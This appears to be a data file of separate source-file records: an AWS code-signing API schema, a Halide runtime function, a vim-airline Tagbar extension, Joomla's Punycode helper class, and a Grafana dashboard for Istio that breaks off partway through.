profile created.</p>\"\n }\n }\n },\n \"RequestedBy\":{\"type\":\"string\"},\n \"ResourceNotFoundException\":{\n \"type\":\"structure\",\n \"members\":{\n \"message\":{\"shape\":\"ErrorMessage\"}\n },\n \"documentation\":\"<p>A specified resource could not be found.</p>\",\n \"error\":{\"httpStatusCode\":404},\n \"exception\":true\n },\n \"S3Destination\":{\n \"type\":\"structure\",\n \"members\":{\n \"bucketName\":{\n \"shape\":\"BucketName\",\n \"documentation\":\"<p>Name of the S3 bucket.</p>\"\n },\n \"prefix\":{\n \"shape\":\"Prefix\",\n \"documentation\":\"<p>An Amazon S3 prefix that you can use to limit responses to those that begin with the specified prefix.</p>\"\n }\n },\n \"documentation\":\"<p>The name and prefix of the S3 bucket where code signing saves your signed objects.</p>\"\n },\n \"S3SignedObject\":{\n \"type\":\"structure\",\n \"members\":{\n \"bucketName\":{\n \"shape\":\"BucketName\",\n \"documentation\":\"<p>Name of the S3 bucket.</p>\"\n },\n \"key\":{\n \"shape\":\"key\",\n \"documentation\":\"<p>Key name that uniquely identifies a signed code image in your bucket.</p>\"\n }\n },\n \"documentation\":\"<p>The S3 bucket name and key where code signing saved your signed code image.</p>\"\n },\n \"S3Source\":{\n \"type\":\"structure\",\n \"required\":[\n \"bucketName\",\n \"key\",\n \"version\"\n ],\n \"members\":{\n \"bucketName\":{\n \"shape\":\"BucketName\",\n \"documentation\":\"<p>Name of the S3 bucket.</p>\"\n },\n \"key\":{\n \"shape\":\"Key\",\n \"documentation\":\"<p>Key name of the bucket object that contains your unsigned code.</p>\"\n },\n \"version\":{\n \"shape\":\"Version\",\n \"documentation\":\"<p>Version of your source image in your version enabled S3 bucket.</p>\"\n }\n },\n \"documentation\":\"<p>Information about the S3 bucket where you saved your unsigned code.</p>\"\n },\n \"SignedObject\":{\n \"type\":\"structure\",\n \"members\":{\n \"s3\":{\n \"shape\":\"S3SignedObject\",\n \"documentation\":\"<p>The <code>S3SignedObject</code>.</p>\"\n }\n },\n \"documentation\":\"<p>Points to an <code>S3SignedObject</code> object that contains information about your signed code image.</p>\"\n },\n \"SigningConfiguration\":{\n \"type\":\"structure\",\n \"required\":[\n \"encryptionAlgorithmOptions\",\n \"hashAlgorithmOptions\"\n ],\n \"members\":{\n \"encryptionAlgorithmOptions\":{\n \"shape\":\"EncryptionAlgorithmOptions\",\n \"documentation\":\"<p>The encryption algorithm options that are available for a code signing job.</p>\"\n },\n \"hashAlgorithmOptions\":{\n \"shape\":\"HashAlgorithmOptions\",\n \"documentation\":\"<p>The hash algorithm options that are available for a code signing job.</p>\"\n }\n },\n \"documentation\":\"<p>The configuration of a code signing operation.</p>\"\n },\n \"SigningConfigurationOverrides\":{\n \"type\":\"structure\",\n \"members\":{\n \"encryptionAlgorithm\":{\n \"shape\":\"EncryptionAlgorithm\",\n \"documentation\":\"<p>A specified override of the default encryption algorithm that is used in a code signing job.</p>\"\n },\n \"hashAlgorithm\":{\n \"shape\":\"HashAlgorithm\",\n \"documentation\":\"<p>A specified override of the default hash algorithm that is used in a code signing job.</p>\"\n }\n },\n \"documentation\":\"<p>A signing configuration that overrides the default encryption or hash algorithm of a signing job.</p>\"\n },\n \"SigningImageFormat\":{\n \"type\":\"structure\",\n \"required\":[\n \"supportedFormats\",\n \"defaultFormat\"\n ],\n \"members\":{\n \"supportedFormats\":{\n \"shape\":\"ImageFormats\",\n \"documentation\":\"<p>The supported formats of a code signing image.</p>\"\n },\n \"defaultFormat\":{\n \"shape\":\"ImageFormat\",\n \"documentation\":\"<p>The default format of a code signing image.</p>\"\n }\n },\n \"documentation\":\"<p>The image format of a code signing platform or profile.</p>\"\n },\n \"SigningJob\":{\n \"type\":\"structure\",\n \"members\":{\n \"jobId\":{\n \"shape\":\"JobId\",\n \"documentation\":\"<p>The ID of the signing job.</p>\"\n },\n \"source\":{\n \"shape\":\"Source\",\n \"documentation\":\"<p>A <code>Source</code> that contains information about a signing job's code image source.</p>\"\n },\n \"signedObject\":{\n \"shape\":\"SignedObject\",\n \"documentation\":\"<p>A <code>SignedObject</code> structure that contains information about a signing job's signed code image.</p>\"\n },\n \"signingMaterial\":{\n \"shape\":\"SigningMaterial\",\n \"documentation\":\"<p>A <code>SigningMaterial</code> object that contains the Amazon Resource Name (ARN) of the certificate used for the signing job.</p>\"\n },\n \"createdAt\":{\n \"shape\":\"CreatedAt\",\n \"documentation\":\"<p>The date and time that the signing job was created.</p>\"\n },\n \"status\":{\n \"shape\":\"SigningStatus\",\n \"documentation\":\"<p>The status of the signing job.</p>\"\n }\n },\n \"documentation\":\"<p>Contains information about a signing job.</p>\"\n },\n \"SigningJobs\":{\n \"type\":\"list\",\n \"member\":{\"shape\":\"SigningJob\"}\n },\n \"SigningMaterial\":{\n \"type\":\"structure\",\n \"required\":[\"certificateArn\"],\n \"members\":{\n \"certificateArn\":{\n \"shape\":\"CertificateArn\",\n \"documentation\":\"<p>The Amazon Resource Name (ARN) of the certificates that is used to sign your code.</p>\"\n }\n },\n \"documentation\":\"<p>The ACM certificate that is used to sign your code.</p>\"\n },\n \"SigningParameterKey\":{\"type\":\"string\"},\n \"SigningParameterValue\":{\"type\":\"string\"},\n \"SigningParameters\":{\n \"type\":\"map\",\n \"key\":{\"shape\":\"SigningParameterKey\"},\n \"value\":{\"shape\":\"SigningParameterValue\"}\n },\n \"SigningPlatform\":{\n \"type\":\"structure\",\n \"members\":{\n \"platformId\":{\n \"shape\":\"String\",\n \"documentation\":\"<p>The ID of a code signing; platform.</p>\"\n },\n \"displayName\":{\n \"shape\":\"String\",\n \"documentation\":\"<p>The display name of a code signing platform.</p>\"\n },\n \"partner\":{\n \"shape\":\"String\",\n \"documentation\":\"<p>Any partner entities linked to a code signing platform.</p>\"\n },\n \"target\":{\n \"shape\":\"String\",\n \"documentation\":\"<p>The types of targets that can be signed by a code signing platform.</p>\"\n },\n \"category\":{\n \"shape\":\"Category\",\n \"documentation\":\"<p>The category of a code signing platform.</p>\"\n },\n \"signingConfiguration\":{\n \"shape\":\"SigningConfiguration\",\n \"documentation\":\"<p>The configuration of a code signing platform. This includes the designated hash algorithm and encryption algorithm of a signing platform.</p>\"\n },\n \"signingImageFormat\":{\"shape\":\"SigningImageFormat\"},\n \"maxSizeInMB\":{\n \"shape\":\"MaxSizeInMB\",\n \"documentation\":\"<p>The maximum size (in MB) of code that can be signed by a code signing platform.</p>\"\n }\n },\n \"documentation\":\"<p>Contains information about the signing configurations and parameters that are used to perform a code signing job.</p>\"\n },\n \"SigningPlatformOverrides\":{\n \"type\":\"structure\",\n \"members\":{\n \"signingConfiguration\":{\n \"shape\":\"SigningConfigurationOverrides\",\n \"documentation\":\"<p>A signing configuration that overrides the default encryption or hash algorithm of a signing job.</p>\"\n },\n \"signingImageFormat\":{\n \"shape\":\"ImageFormat\",\n \"documentation\":\"<p>A signed image is a JSON object. When overriding the default signing platform configuration, a customer can select either of two signing formats, <code>JSONEmbedded</code> or <code>JSONDetached</code>. (A third format value, <code>JSON</code>, is reserved for future use.) With <code>JSONEmbedded</code>, the signing image has the payload embedded in it. With <code>JSONDetached</code>, the payload is not be embedded in the signing image.</p>\"\n }\n },\n \"documentation\":\"<p>Any overrides that are applied to the signing configuration of a code signing platform.</p>\"\n },\n \"SigningPlatforms\":{\n \"type\":\"list\",\n \"member\":{\"shape\":\"SigningPlatform\"}\n },\n \"SigningProfile\":{\n \"type\":\"structure\",\n \"members\":{\n \"profileName\":{\n \"shape\":\"ProfileName\",\n \"documentation\":\"<p>The name of the signing profile.</p>\"\n },\n \"signingMaterial\":{\n \"shape\":\"SigningMaterial\",\n \"documentation\":\"<p>The ACM certificate that is available for use by a signing profile.</p>\"\n },\n \"platformId\":{\n \"shape\":\"PlatformId\",\n \"documentation\":\"<p>The ID of a platform that is available for use by a signing profile.</p>\"\n },\n \"signingParameters\":{\n \"shape\":\"SigningParameters\",\n \"documentation\":\"<p>The parameters that are available for use by a code signing user.</p>\"\n },\n \"status\":{\n \"shape\":\"SigningProfileStatus\",\n \"documentation\":\"<p>The status of a code signing profile.</p>\"\n },\n \"arn\":{\n \"shape\":\"string\",\n \"documentation\":\"<p>The Amazon Resource Name (ARN) for the signing profile.</p>\"\n },\n \"tags\":{\n \"shape\":\"TagMap\",\n \"documentation\":\"<p>A list of tags associated with the signing profile.</p>\"\n }\n },\n \"documentation\":\"<p>Contains information about the ACM certificates and code signing configuration parameters that can be used by a given code signing user.</p>\"\n },\n \"SigningProfileStatus\":{\n \"type\":\"string\",\n \"enum\":[\n \"Active\",\n \"Canceled\"\n ]\n },\n \"SigningProfiles\":{\n \"type\":\"list\",\n \"member\":{\"shape\":\"SigningProfile\"}\n },\n \"SigningStatus\":{\n \"type\":\"string\",\n \"enum\":[\n \"InProgress\",\n \"Failed\",\n \"Succeeded\"\n ]\n },\n \"Source\":{\n \"type\":\"structure\",\n \"members\":{\n \"s3\":{\n \"shape\":\"S3Source\",\n \"documentation\":\"<p>The <code>S3Source</code> object.</p>\"\n }\n },\n \"documentation\":\"<p>An <code>S3Source</code> object that contains information about the S3 bucket where you saved your unsigned code.</p>\"\n },\n \"StartSigningJobRequest\":{\n \"type\":\"structure\",\n \"required\":[\n \"source\",\n \"destination\",\n \"clientRequestToken\"\n ],\n \"members\":{\n \"source\":{\n \"shape\":\"Source\",\n \"documentation\":\"<p>The S3 bucket that contains the object to sign or a BLOB that contains your raw code.</p>\"\n },\n \"destination\":{\n \"shape\":\"Destination\",\n \"documentation\":\"<p>The S3 bucket in which to save your signed object. The destination contains the name of your bucket and an optional prefix.</p>\"\n },\n \"profileName\":{\n \"shape\":\"ProfileName\",\n \"documentation\":\"<p>The name of the signing profile.</p>\"\n },\n \"clientRequestToken\":{\n \"shape\":\"ClientRequestToken\",\n \"documentation\":\"<p>String that identifies the signing request. All calls after the first that use this token return the same response as the first call.</p>\",\n \"idempotencyToken\":true\n }\n }\n },\n \"StartSigningJobResponse\":{\n \"type\":\"structure\",\n \"members\":{\n \"jobId\":{\n \"shape\":\"JobId\",\n \"documentation\":\"<p>The ID of your signing job.</p>\"\n }\n }\n },\n \"StatusReason\":{\"type\":\"string\"},\n \"String\":{\"type\":\"string\"},\n \"TagKey\":{\n \"type\":\"string\",\n \"max\":128,\n \"min\":1,\n \"pattern\":\"^(?!aws:)[a-zA-Z+-=._:/]+$\"\n },\n \"TagKeyList\":{\n \"type\":\"list\",\n \"member\":{\"shape\":\"TagKey\"},\n \"max\":200,\n \"min\":1\n },\n \"TagMap\":{\n \"type\":\"map\",\n \"key\":{\"shape\":\"TagKey\"},\n \"value\":{\"shape\":\"TagValue\"},\n \"max\":200,\n \"min\":1\n },\n \"TagResourceRequest\":{\n \"type\":\"structure\",\n \"required\":[\n \"resourceArn\",\n \"tags\"\n ],\n \"members\":{\n \"resourceArn\":{\n \"shape\":\"String\",\n \"documentation\":\"<p>The Amazon Resource Name (ARN) for the signing profile.</p>\",\n \"location\":\"uri\",\n \"locationName\":\"resourceArn\"\n },\n \"tags\":{\n \"shape\":\"TagMap\",\n \"documentation\":\"<p>One or more tags to be associated with the signing profile.</p>\"\n }\n }\n },\n \"TagResourceResponse\":{\n \"type\":\"structure\",\n \"members\":{\n }\n },\n \"TagValue\":{\n \"type\":\"string\",\n \"max\":256\n },\n \"ThrottlingException\":{\n \"type\":\"structure\",\n \"members\":{\n \"message\":{\"shape\":\"ErrorMessage\"}\n },\n \"documentation\":\"<p>The signing job has been throttled.</p>\",\n \"error\":{\"httpStatusCode\":429},\n \"exception\":true\n },\n \"UntagResourceRequest\":{\n \"type\":\"structure\",\n \"required\":[\n \"resourceArn\",\n \"tagKeys\"\n ],\n \"members\":{\n \"resourceArn\":{\n \"shape\":\"String\",\n \"documentation\":\"<p>The Amazon Resource Name (ARN) for the signing profile.</p>\",\n \"location\":\"uri\",\n \"locationName\":\"resourceArn\"\n },\n \"tagKeys\":{\n \"shape\":\"TagKeyList\",\n \"documentation\":\"<p>A list of tag keys to be removed from the signing profile.</p>\",\n \"location\":\"querystring\",\n \"locationName\":\"tagKeys\"\n }\n }\n },\n \"UntagResourceResponse\":{\n \"type\":\"structure\",\n \"members\":{\n }\n },\n \"ValidationException\":{\n \"type\":\"structure\",\n \"members\":{\n \"message\":{\"shape\":\"ErrorMessage\"}\n },\n \"documentation\":\"<p>You signing certificate could not be validated.</p>\",\n \"error\":{\"httpStatusCode\":400},\n \"exception\":true\n },\n \"Version\":{\"type\":\"string\"},\n \"bool\":{\"type\":\"boolean\"},\n \"string\":{\"type\":\"string\"}\n },\n \"documentation\":\"<p>With code signing for IoT, you can sign code that you create for any IoT device that is supported by Amazon Web Services (AWS). Code signing is available through <a href=\\\"http://docs.aws.amazon.com/freertos/latest/userguide/\\\">Amazon FreeRTOS</a> and <a href=\\\"http://docs.aws.amazon.com/iot/latest/developerguide/\\\">AWS IoT Device Management</a>, and integrated with <a href=\\\"http://docs.aws.amazon.com/acm/latest/userguide/\\\">AWS Certificate Manager (ACM)</a>. In order to sign code, you import a third-party code signing certificate with ACM that is used to sign updates in Amazon FreeRTOS and AWS IoT Device Management. For general information about using code signing, see the <a href=\\\"http://docs.aws.amazon.com/signer/latest/developerguide/Welcome.html\\\">Code Signing for IoT Developer Guide</a>.</p>\"\n}\n"} {"text": "#include \"runtime_internal.h\"\n\nextern \"C\" WEAK_INLINE int halide_malloc_alignment() {\n return 64;\n}\n"} {"text": "\" MIT License. Copyright (c) 2013-2019 Bailey Ling et al.\n\" Plugin: https://github.com/majutsushi/tagbar\n\" vim: et ts=2 sts=2 sw=2\n\nscriptencoding utf-8\n\nif !exists(':TagbarToggle')\n finish\nendif\n\nlet s:flags = get(g:, 'airline#extensions#tagbar#flags', '')\nlet s:spc = g:airline_symbols.space\nlet s:init=0\n\n\" Arguments: current, sort, fname\nfunction! airline#extensions#tagbar#get_status(...)\n let builder = airline#builder#new({ 'active': a:1 })\n call builder.add_section('airline_a', s:spc.'Tagbar'.s:spc)\n call builder.add_section('airline_b', s:spc.a:2.s:spc)\n call builder.add_section('airline_c', s:spc.a:3.s:spc)\n return builder.build()\nendfunction\n\nfunction! airline#extensions#tagbar#inactive_apply(...)\n if getwinvar(a:2.winnr, '&filetype') == 'tagbar'\n return -1\n endif\nendfunction\n\nlet s:airline_tagbar_last_lookup_time = 0\nlet s:airline_tagbar_last_lookup_val = ''\nfunction! airline#extensions#tagbar#currenttag()\n if get(w:, 'airline_active', 0)\n if !s:init\n try\n \" try to load the plugin, if filetypes are disabled,\n \" this will cause an error, so try only once\n let a=tagbar#currenttag('%', '', '')\n catch\n endtry\n unlet! a\n let s:init=1\n endif\n \" function tagbar#currenttag does not exist, if filetype is not enabled\n if s:airline_tagbar_last_lookup_time != localtime() && exists(\"*tagbar#currenttag\")\n let s:airline_tagbar_last_lookup_val = tagbar#currenttag('%s', '', s:flags)\n let s:airline_tagbar_last_lookup_time = localtime()\n endif\n return s:airline_tagbar_last_lookup_val\n endif\n return ''\nendfunction\n\nfunction! airline#extensions#tagbar#init(ext)\n call a:ext.add_inactive_statusline_func('airline#extensions#tagbar#inactive_apply')\n let g:tagbar_status_func = 'airline#extensions#tagbar#get_status'\n\n call airline#parts#define_function('tagbar', 'airline#extensions#tagbar#currenttag')\nendfunction\n"} {"text": "<?php\n/**\n * Joomla! Content Management System\n *\n * @copyright Copyright (C) 2005 - 2017 Open Source Matters, Inc. All rights reserved.\n * @license GNU General Public License version 2 or later; see LICENSE.txt\n */\n\nnamespace Joomla\\CMS\\String;\n\ndefined('JPATH_PLATFORM') or die;\n\nuse Joomla\\Uri\\UriHelper;\n\n\\JLoader::register('idna_convert', JPATH_LIBRARIES . '/idna_convert/idna_convert.class.php');\n\n/**\n * Joomla Platform String Punycode Class\n *\n * Class for handling UTF-8 URLs\n * Wraps the Punycode library\n * All functions assume the validity of utf-8 URLs.\n *\n * @since 3.1.2\n */\nabstract class PunycodeHelper\n{\n\t/**\n\t * Transforms a UTF-8 string to a Punycode string\n\t *\n\t * @param string $utfString The UTF-8 string to transform\n\t *\n\t * @return string The punycode string\n\t *\n\t * @since 3.1.2\n\t */\n\tpublic static function toPunycode($utfString)\n\t{\n\t\t$idn = new \\idna_convert;\n\n\t\treturn $idn->encode($utfString);\n\t}\n\n\t/**\n\t * Transforms a Punycode string to a UTF-8 string\n\t *\n\t * @param string $punycodeString The Punycode string to transform\n\t *\n\t * @return string The UF-8 URL\n\t *\n\t * @since 3.1.2\n\t */\n\tpublic static function fromPunycode($punycodeString)\n\t{\n\t\t$idn = new \\idna_convert;\n\n\t\treturn $idn->decode($punycodeString);\n\t}\n\n\t/**\n\t * Transforms a UTF-8 URL to a Punycode URL\n\t *\n\t * @param string $uri The UTF-8 URL to transform\n\t *\n\t * @return string The punycode URL\n\t *\n\t * @since 3.1.2\n\t */\n\tpublic static function urlToPunycode($uri)\n\t{\n\t\t$parsed = UriHelper::parse_url($uri);\n\n\t\tif (!isset($parsed['host']) || $parsed['host'] == '')\n\t\t{\n\t\t\t// If there is no host we do not need to convert it.\n\t\t\treturn $uri;\n\t\t}\n\n\t\t$host = $parsed['host'];\n\t\t$hostExploded = explode('.', $host);\n\t\t$newhost = '';\n\n\t\tforeach ($hostExploded as $hostex)\n\t\t{\n\t\t\t$hostex = static::toPunycode($hostex);\n\t\t\t$newhost .= $hostex . '.';\n\t\t}\n\n\t\t$newhost = substr($newhost, 0, -1);\n\t\t$newuri = '';\n\n\t\tif (!empty($parsed['scheme']))\n\t\t{\n\t\t\t// Assume :// is required although it is not always.\n\t\t\t$newuri .= $parsed['scheme'] . '://';\n\t\t}\n\n\t\tif (!empty($newhost))\n\t\t{\n\t\t\t$newuri .= $newhost;\n\t\t}\n\n\t\tif (!empty($parsed['port']))\n\t\t{\n\t\t\t$newuri .= ':' . $parsed['port'];\n\t\t}\n\n\t\tif (!empty($parsed['path']))\n\t\t{\n\t\t\t$newuri .= $parsed['path'];\n\t\t}\n\n\t\tif (!empty($parsed['query']))\n\t\t{\n\t\t\t$newuri .= '?' . $parsed['query'];\n\t\t}\n\n\t\tif (!empty($parsed['fragment']))\n\t\t{\n\t\t\t$newuri .= '#' . $parsed['fragment'];\n\t\t}\n\n\t\treturn $newuri;\n\t}\n\n\t/**\n\t * Transforms a Punycode URL to a UTF-8 URL\n\t *\n\t * @param string $uri The Punycode URL to transform\n\t *\n\t * @return string The UTF-8 URL\n\t *\n\t * @since 3.1.2\n\t */\n\tpublic static function urlToUTF8($uri)\n\t{\n\t\tif (empty($uri))\n\t\t{\n\t\t\treturn;\n\t\t}\n\n\t\t$parsed = UriHelper::parse_url($uri);\n\n\t\tif (!isset($parsed['host']) || $parsed['host'] == '')\n\t\t{\n\t\t\t// If there is no host we do not need to convert it.\n\t\t\treturn $uri;\n\t\t}\n\n\t\t$host = $parsed['host'];\n\t\t$hostExploded = explode('.', $host);\n\t\t$newhost = '';\n\n\t\tforeach ($hostExploded as $hostex)\n\t\t{\n\t\t\t$hostex = self::fromPunycode($hostex);\n\t\t\t$newhost .= $hostex . '.';\n\t\t}\n\n\t\t$newhost = substr($newhost, 0, -1);\n\t\t$newuri = '';\n\n\t\tif (!empty($parsed['scheme']))\n\t\t{\n\t\t\t// Assume :// is required although it is not always.\n\t\t\t$newuri .= $parsed['scheme'] . '://';\n\t\t}\n\n\t\tif (!empty($newhost))\n\t\t{\n\t\t\t$newuri .= $newhost;\n\t\t}\n\n\t\tif (!empty($parsed['port']))\n\t\t{\n\t\t\t$newuri .= ':' . $parsed['port'];\n\t\t}\n\n\t\tif (!empty($parsed['path']))\n\t\t{\n\t\t\t$newuri .= $parsed['path'];\n\t\t}\n\n\t\tif (!empty($parsed['query']))\n\t\t{\n\t\t\t$newuri .= '?' . $parsed['query'];\n\t\t}\n\n\t\tif (!empty($parsed['fragment']))\n\t\t{\n\t\t\t$newuri .= '#' . $parsed['fragment'];\n\t\t}\n\n\t\treturn $newuri;\n\t}\n\n\t/**\n\t * Transforms a UTF-8 email to a Punycode email\n\t * This assumes a valid email address\n\t *\n\t * @param string $email The UTF-8 email to transform\n\t *\n\t * @return string The punycode email\n\t *\n\t * @since 3.1.2\n\t */\n\tpublic static function emailToPunycode($email)\n\t{\n\t\t$explodedAddress = explode('@', $email);\n\n\t\t// Not addressing UTF-8 user names\n\t\t$newEmail = $explodedAddress[0];\n\n\t\tif (!empty($explodedAddress[1]))\n\t\t{\n\t\t\t$domainExploded = explode('.', $explodedAddress[1]);\n\t\t\t$newdomain = '';\n\n\t\t\tforeach ($domainExploded as $domainex)\n\t\t\t{\n\t\t\t\t$domainex = static::toPunycode($domainex);\n\t\t\t\t$newdomain .= $domainex . '.';\n\t\t\t}\n\n\t\t\t$newdomain = substr($newdomain, 0, -1);\n\t\t\t$newEmail = $newEmail . '@' . $newdomain;\n\t\t}\n\n\t\treturn $newEmail;\n\t}\n\n\t/**\n\t * Transforms a Punycode email to a UTF-8 email\n\t * This assumes a valid email address\n\t *\n\t * @param string $email The punycode email to transform\n\t *\n\t * @return string The punycode email\n\t *\n\t * @since 3.1.2\n\t */\n\tpublic static function emailToUTF8($email)\n\t{\n\t\t$explodedAddress = explode('@', $email);\n\n\t\t// Not addressing UTF-8 user names\n\t\t$newEmail = $explodedAddress[0];\n\n\t\tif (!empty($explodedAddress[1]))\n\t\t{\n\t\t\t$domainExploded = explode('.', $explodedAddress[1]);\n\t\t\t$newdomain = '';\n\n\t\t\tforeach ($domainExploded as $domainex)\n\t\t\t{\n\t\t\t\t$domainex = static::fromPunycode($domainex);\n\t\t\t\t$newdomain .= $domainex . '.';\n\t\t\t}\n\n\t\t\t$newdomain = substr($newdomain, 0, -1);\n\t\t\t$newEmail = $newEmail . '@' . $newdomain;\n\t\t}\n\n\t\treturn $newEmail;\n\t}\n}\n"} {"text": "{\n \"annotations\": {\n \"list\": [\n {\n \"builtIn\": 1,\n \"datasource\": \"-- Grafana --\",\n \"enable\": true,\n \"hide\": true,\n \"iconColor\": \"rgba(0, 211, 255, 1)\",\n \"name\": \"Annotations & Alerts\",\n \"type\": \"dashboard\"\n }\n ]\n },\n \"editable\": false,\n \"gnetId\": null,\n \"graphTooltip\": 1,\n \"links\": [],\n \"panels\": [\n {\n \"collapsed\": false,\n \"gridPos\": {\n \"h\": 1,\n \"w\": 24,\n \"x\": 0,\n \"y\": 0\n },\n \"id\": 60,\n \"panels\": [],\n \"title\": \"Deployed Versions\",\n \"type\": \"row\"\n },\n {\n \"aliasColors\": {},\n \"bars\": false,\n \"dashLength\": 10,\n \"dashes\": false,\n \"datasource\": \"Prometheus\",\n \"fill\": 1,\n \"gridPos\": {\n \"h\": 5,\n \"w\": 24,\n \"x\": 0,\n \"y\": 1\n },\n \"id\": 56,\n \"legend\": {\n \"avg\": false,\n \"current\": false,\n \"max\": false,\n \"min\": false,\n \"show\": true,\n \"total\": false,\n \"values\": false\n },\n \"lines\": true,\n \"linewidth\": 1,\n \"links\": [],\n \"nullPointMode\": \"null\",\n \"percentage\": false,\n \"pointradius\": 5,\n \"points\": false,\n \"renderer\": \"flot\",\n \"seriesOverrides\": [],\n \"spaceLength\": 10,\n \"stack\": false,\n \"steppedLine\": false,\n \"targets\": [\n {\n \"expr\": \"sum(istio_build{component=\\\"pilot\\\"}) by (tag)\",\n \"format\": \"time_series\",\n \"intervalFactor\": 1,\n \"legendFormat\": \"{{ tag }}\",\n \"refId\": \"A\"\n }\n ],\n \"thresholds\": [],\n \"timeFrom\": null,\n \"timeRegions\": [],\n \"timeShift\": null,\n \"title\": \"Pilot Versions\",\n \"tooltip\": {\n \"shared\": true,\n \"sort\": 0,\n \"value_type\": \"individual\"\n },\n \"type\": \"graph\",\n \"xaxis\": {\n \"buckets\": null,\n \"mode\": \"time\",\n \"name\": null,\n \"show\": true,\n \"values\": []\n },\n \"yaxes\": [\n {\n \"format\": \"short\",\n \"label\": null,\n \"logBase\": 1,\n \"max\": null,\n \"min\": null,\n \"show\": true\n },\n {\n \"format\": \"short\",\n \"label\": null,\n \"logBase\": 1,\n \"max\": null,\n \"min\": null,\n \"show\": false\n }\n ],\n \"yaxis\": {\n \"align\": false,\n \"alignLevel\": null\n }\n },\n {\n \"collapsed\": false,\n \"gridPos\": {\n \"h\": 1,\n \"w\": 24,\n \"x\": 0,\n \"y\": 6\n },\n \"id\": 62,\n \"panels\": [],\n \"title\": \"Resource Usage\",\n \"type\": \"row\"\n },\n {\n \"aliasColors\": {},\n \"bars\": false,\n \"dashLength\": 10,\n \"dashes\": false,\n \"datasource\": \"Prometheus\",\n \"fill\": 1,\n \"gridPos\": {\n \"h\": 7,\n \"w\": 6,\n \"x\": 0,\n \"y\": 7\n },\n \"id\": 5,\n \"legend\": {\n \"avg\": false,\n \"current\": false,\n \"max\": false,\n \"min\": false,\n \"show\": true,\n \"total\": false,\n \"values\": false\n },\n \"lines\": true,\n \"linewidth\": 1,\n \"links\": [],\n \"nullPointMode\": \"null\",\n \"percentage\": false,\n \"pointradius\": 5,\n \"points\": false,\n \"renderer\": \"flot\",\n \"seriesOverrides\": [],\n \"spaceLength\": 10,\n \"stack\": false,\n \"steppedLine\": false,\n \"targets\": [\n {\n \"expr\": \"process_virtual_memory_bytes{app=\\\"istiod\\\"}\",\n \"format\": \"time_series\",\n \"instant\": false,\n \"intervalFactor\": 2,\n \"legendFormat\": \"Virtual Memory\",\n \"refId\": \"I\",\n \"step\": 2\n },\n {\n \"expr\": \"process_resident_memory_bytes{app=\\\"istiod\\\"}\",\n \"format\": \"time_series\",\n \"intervalFactor\": 2,\n \"legendFormat\": \"Resident Memory\",\n \"refId\": \"H\",\n \"step\": 2\n },\n {\n \"expr\": \"go_memstats_heap_sys_bytes{app=\\\"istiod\\\"}\",\n \"format\": \"time_series\",\n \"hide\": true,\n \"intervalFactor\": 2,\n \"legendFormat\": \"heap sys\",\n \"refId\": \"A\"\n },\n {\n \"expr\": \"go_memstats_heap_alloc_bytes{app=\\\"istiod\\\"}\",\n \"format\": \"time_series\",\n \"hide\": true,\n \"intervalFactor\": 2,\n \"legendFormat\": \"heap alloc\",\n \"refId\": \"D\"\n },\n {\n \"expr\": \"go_memstats_alloc_bytes{app=\\\"istiod\\\"}\",\n \"format\": \"time_series\",\n \"intervalFactor\": 2,\n \"legendFormat\": \"Alloc\",\n \"refId\": \"F\",\n \"step\": 2\n },\n {\n \"expr\": \"go_memstats_heap_inuse_bytes{app=\\\"istiod\\\"}\",\n \"format\": \"time_series\",\n \"hide\": false,\n \"intervalFactor\": 2,\n \"legendFormat\": \"Heap in-use\",\n \"refId\": \"E\",\n \"step\": 2\n },\n {\n \"expr\": \"go_memstats_stack_inuse_bytes{app=\\\"istiod\\\"}\",\n \"format\": \"time_series\",\n \"intervalFactor\": 2,\n \"legendFormat\": \"Stack in-use\",\n \"refId\": \"G\",\n \"step\": 2\n },\n {\n \"expr\": \"container_memory_working_set_bytes{container=~\\\"discovery\\\", pod=~\\\"istiod-.*|istio-pilot-.*\\\"}\",\n \"format\": \"time_series\",\n \"hide\": false,\n \"intervalFactor\": 2,\n \"legendFormat\": \"Discovery (container)\",\n \"refId\": \"B\",\n \"step\": 2\n },\n {\n \"expr\": \"container_memory_working_set_bytes{container=~\\\"istio-proxy\\\", pod=~\\\"istiod-.*|istio-pilot-.*\\\"}\",\n \"format\": \"time_series\",\n \"intervalFactor\": 1,\n \"legendFormat\": \"Sidecar (container)\",\n \"refId\": \"C\"\n }\n ],\n \"thresholds\": [],\n \"timeFrom\": null,\n \"timeRegions\": [],\n \"timeShift\": null,\n \"title\": \"Memory\",\n \"tooltip\": {\n \"shared\": true,\n \"sort\": 0,\n \"value_type\": \"individual\"\n },\n \"type\": \"graph\",\n \"xaxis\": {\n \"buckets\": null,\n \"mode\": \"time\",\n \"name\": null,\n \"show\": true,\n \"values\": []\n },\n \"yaxes\": [\n {\n \"format\": \"bytes\",\n \"label\": null,\n \"logBase\": 1,\n \"max\": null,\n \"min\": null,\n \"show\": true\n },\n {\n \"format\": \"short\",\n \"label\": null,\n \"logBase\": 1,\n \"max\": null,\n \"min\": null,\n \"show\": false\n }\n ],\n \"yaxis\": {\n \"align\": false,\n \"alignLevel\": null\n }\n },\n {\n \"aliasColors\": {},\n \"bars\": false,\n \"dashLength\": 10,\n \"dashes\": false,\n \"datasource\": \"Prometheus\",\n \"fill\": 1,\n \"gridPos\": {\n \"h\": 7,\n \"w\": 6,\n \"x\": 6,\n \"y\": 7\n },\n \"id\": 6,\n \"legend\": {\n \"avg\": false,\n \"current\": false,\n \"max\": false,\n \"min\": false,\n \"show\": true,\n \"total\": false,\n \"values\": false\n },\n \"lines\": true,\n \"linewidth\": 1,\n \"links\": [],\n \"nullPointMode\": \"null\",\n \"percentage\": false,\n \"pointradius\": 5,\n \"points\": false,\n \"renderer\": \"flot\",\n \"seriesOverrides\": [],\n \"spaceLength\": 10,\n \"stack\": false,\n \"steppedLine\": false,\n \"targets\": [\n {\n \"expr\": \"sum(irate(container_cpu_usage_seconds_total{container=\\\"discovery\\\", pod=~\\\"istiod-.*|istio-pilot-.*\\\"}[1m]))\",\n \"format\": \"time_series\",\n \"intervalFactor\": 1,\n \"legendFormat\": \"Discovery (container)\",\n \"refId\": \"A\"\n },\n {\n \"expr\": \"irate(process_cpu_seconds_total{app=\\\"istiod\\\"}[1m])\",\n \"format\": \"time_series\",\n \"hide\": false,\n \"intervalFactor\": 2,\n \"legendFormat\": \"Discovery (process)\",\n \"refId\": \"C\",\n \"step\": 2\n },\n {\n \"expr\": \"sum(irate(container_cpu_usage_seconds_total{container=\\\"istio-proxy\\\", pod=~\\\"istiod-.*|istio-pilot-.*\\\"}[1m]))\",\n \"format\": \"time_series\",\n \"hide\": false,\n \"intervalFactor\": 2,\n 